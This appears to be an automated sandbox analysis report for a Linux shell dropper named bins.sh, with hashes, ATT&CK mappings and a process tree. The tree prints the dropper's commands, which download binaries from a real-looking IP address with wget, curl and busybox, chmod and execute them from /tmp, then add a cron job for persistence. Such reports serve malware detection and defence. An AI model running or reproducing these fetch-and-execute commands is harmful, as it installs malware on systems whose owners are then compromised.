9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 21:10

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General

Target

bins.sh
Size

10KB
MD5

431b48448d4b1dfa1658bc2885794b2c
SHA1

b50b7e76f9f7213c9537e92378a3a4b2834e057a
SHA256

9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942
SHA512

ac65c463a6209ee2391cd2c5e71fa5ba86113611edb0222341ca28e64257f7113f8f41ebd49ecb8ad38c90956f4b3121300695af5d34ef2f17aa8408c2d0425b
SSDEEP

192:pTrjA8AAnTJGiOkqyc7PDm+MePU5m+Mqqyc7P6TJl0TrjA8iF:KAMP/PUxF

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (800) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1558	chmod
1567	chmod

Executes dropped EXE 2 IoCs

Processes:

3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkdsjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

ioc	pid	Process
/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	1559	3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	1568	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Renames itself 1 IoCs

Processes:

sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

pid	Process
1569	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FoOMJ2	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

description	ioc	Process
File opened for reading	/proc/1066/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1262/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1624/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1651/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1655/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/725/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/953/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1188/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1275/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1580/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/14/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1596/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1603/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1616/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1667/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/648/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1069/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1147/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1548/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/12/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/32/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/248/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1599/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/6/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/203/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1176/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/160/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/170/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1553/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1621/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1626/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/19/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/30/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/163/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/415/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/461/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/705/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/969/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1143/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1148/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1601/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1675/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/674/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1156/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1585/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/29/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/962/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1099/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1193/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1197/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1631/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1673/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1657/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1043/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1114/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/3/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/164/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/168/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/172/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1630/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1669/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/161/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/496/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/615/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	busybox
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	wget
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	curl
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	busybox
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	wget
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1550
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1551
- /usr/bin/wget
  wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Executes dropped EXE
  PID:1559
- /bin/rm
  rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:1562
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1568
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1570
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1571
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1572
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1573
- /bin/rm
  rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  PID:1578

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.FoOMJ2

Filesize
210B

MD5
409a0230fd1dbe9adc57a6e45d36da7f

SHA1
64afbdbe9bcedb6aff7bea820e764702aa5dfc82

SHA256
6b935a77faab87e6aad0b35c6cba42aac061a15fc8594d72714887c8889819b0

SHA512
5aa5984f9fb78e1a72b4b84cb060432f802fdf83ad87a6a03f515b443e32ffbdc566430abdc1212429d19f21ed9afb9836547562e0fa6ef0e38fb1fa4dfa532f

Download Submit